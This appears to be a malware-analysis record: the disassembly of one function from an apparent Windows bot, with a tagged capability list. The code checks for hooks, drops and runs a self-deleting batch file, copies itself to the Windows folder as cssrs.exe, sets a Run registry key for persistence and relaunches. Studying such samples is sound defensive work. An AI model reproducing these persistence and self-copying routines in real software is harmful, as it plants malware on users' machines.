Function at 0x403baf
Capabilities:
Create process on windows
Create thread
Get common file path
Persist via run registry key
Query environment variable
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x784
push ebx
call fcn.00402828
xor ebx, ebx
push str.MessageBoxA
push str.user32.dll
mov byte [ebp - 8], 0xc8
mov byte [ebp - 7], bl
mov byte [ebp - 6], 4
mov byte [ebp - 5], bl
mov byte [ebp - 4], 0x60
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea ecx, [ebp - 8]
push 5
push ecx
push eax
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x403bfe
jmp 0x403bfc
push esi
push edi
mov esi, str.c:pushbot.bat
lea edi, [ebp - 0x34]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x784]
push eax
push 0x200
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push ebx
push ebx
push 2
push ebx
push ebx
lea eax, [ebp - 0x34]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, eax
cmp esi, ebx
jbe 0x403c8c
lea eax, [ebp - 0x480]
push str._echo_off_r_nSymantec_Sucks_DICK__r_ngrtz_fMcr3w_r_ndel_c:pushbot.bat_r_n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
lea eax, [ebp - 0x24]
pop ecx
push ebx
push eax
lea eax, [ebp - 0x480]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x480]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call edi
push ebx
push ebx
lea eax, [ebp - 0x34]
push ebx
push eax
push str.open
push ebx
call dword [0x407d3c]
mov esi, 0x104
lea eax, [ebp - 0x584]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x17c]
push esi
push eax
push str._windir_
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
mov esi, str.cssrs.exe
lea eax, [ebp - 0x17c]
push esi
push eax
lea eax, [ebp - 0x280]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x17c]
push esi
push eax
call fcn.00404204
add esp, 0x18
test eax, eax
je 0x403db7
lea eax, [ebp - 0xc]
push ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push esi
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push esi
xor esi, esi
inc esi
push esi
push ebx
push 0x4075bc
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10
lea eax, [ebp - 0x1c]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x44
lea eax, [ebp - 0x78]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x6c], 0x407cec
mov dword [ebp - 0x78], 0x44
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x17c]
push eax
push ebx
push 0x28
push esi
push ebx
push ebx
lea eax, [ebp - 0x280]
push ebx
push eax
mov dword [ebp - 0x4c], esi
mov word [ebp - 0x48], bx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x403db0
push 0xc8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push dword [ebp - 0x1c]
call edi
push dword [ebp - 0x18]
call edi
call dword [0x407d34]
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push esi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push 0x403de5
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov esi, eax
cmp esi, ebx
je 0x403ddc
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call edi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10